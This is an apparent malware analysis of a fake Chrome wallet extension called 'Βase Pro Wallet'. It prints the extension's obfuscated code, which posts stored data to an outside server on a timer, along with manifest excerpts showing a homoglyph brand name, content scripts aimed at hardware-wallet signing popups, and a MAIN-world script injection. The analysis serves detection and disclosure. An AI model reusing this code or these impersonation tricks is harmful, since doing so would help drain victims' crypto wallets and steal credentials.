Βase Pro Wallet

String-array rotation obfuscation hides a C2 exfiltration call. Decoded: on chrome.runtime.onStartup, the script reads chrome.storage.local['DataAnalytics'] and POSTs its contents to https://c9r4j6.adata.lol/api/analytics if more than 86400 seconds (24 hours) have elapsed since the last send. The domain c9r4j6.adata.lol (random hex prefix, .lol TLD) is not a legitimate analytics service; this is a classic timed-beacon exfiltration pattern used in crypto wallet drainers to avoid immediate detection.

(() => {  function J(t, e) {    const a = x();    return (J = function(t, e) {      return t -= 388, a[t]    })(t, e)  }  const W = J;  function x() {    const t = ["https", "get", "lol", "join", "POST", "status", "addListener", "local", "stringify", "onStartup",      "adata", "api", "set", "catch", "now", "c9r4j6", "remove", "Last", "then", "runtime", "storage", "analytics"    ];    return (x = function() {      return t    })()  }  chrome[W(407)][W(397)][W(394)](() => {    const t = J,      r = ["Data", "Analytics"][t(391)](""),      n = [r, t(405)][t(391)]("");    chrome[t(408)][t(395)].get([n], t => {      var e = J;      0 == (t = t?.[n] || 0) ? chrome[e(408)].local[e(400)]({        [n]: parseInt(Date[e(402)]() / 1e3)      }, () => {}) : Number(t) + Number(86400) <= parseInt(Date[e(402)]() / 1e3) && chrome[e(408)].local[e(        389)]([r], t => {        var e = J;        if (void 0 !== t[r]) try {          var a = [e(388), ":", "/", "/", e(403), ".", e(398), ".", e(390), "/", e(399), "/", e(409)][e(            391)]("");          fetch(a, {            method: e(392),            body: JSON[e(396)](t[r])          })[e(406)](t => {            var e = J;            200 === t[e(393)] && (chrome[e(408)].local[e(404)](r, () => {}), chrome[e(408)][e(395)][              e(400)            ]({              [n]: parseInt(Date[e(402)]() / 1e3)            }, () => {}))          })[e(401)](t => {})        } catch (t) {}      })    })  });})();

The extension name uses Unicode Greek capital Beta (Β, U+0392) in place of Latin B to visually impersonate the Base blockchain network — this homoglyph substitution is a documented phishing technique. Content scripts additionally target Trezor hardware wallet (connect.trezor.io) and KeyPal (extension.keypal.pro) popup pages at document_start with all_frames, allowing the extension to intercept hardware wallet signing dialogs.

"name": "\u0392ase Pro Wallet","short_name": "\u0392ase Pro","description": "\u0392ase Pro Wallet is a \u0392ase network crypto wallets that supports ETH, BNB, SOL, and TRX.",..."content_scripts": [{    "all_frames": true,    "js": ["js/webextension-polyfill.js", "js/content-script.js"],    "matches": ["file://*/*", "http://*/*", "https://*/*", "*://connect.trezor.io/*/popup.html",      "*://extension.keypal.pro/*/popup.html"],    "run_at": "document_start"  }]

Registers js/inpage.js in the MAIN execution world (not the isolated extension world) on every page at document_start. Running in MAIN world gives direct access to page JavaScript globals including window.ethereum and any other injected wallet providers, enabling silent override of transaction signing targets. The inpage.js file is not present in the extracted bundle, making its full behavior unauditable.

(async () => {  try {    await chrome.scripting.registerContentScripts([{      id: "inpage",      matches: ["file://*/*", "http://*/*", "https://*/*"],      js: ["js/inpage.js"],      runAt: "document_start",      world: "MAIN",      allFrames: !0    }])  } catch (e) {    console.warn(`Dropped attempt to register inpage content script. ${e}`)  }})()

The underlying UI codebase renders 'TokenPocket Extension Wallet' — confirming this extension is a wholesale clone of the legitimate TokenPocket wallet with the branding name swapped via the manifest. Packaging a well-known wallet's code under a homoglyph identity is the standard template for crypto drainer malware: users trust the familiar UI, enter their seed phrase, and the wallet functions normally while the injected exfiltration script collects credentials.

}, e("TokenPocket Extension Wallet"))), o.createElement("div", {      className: "formBox"    }, ...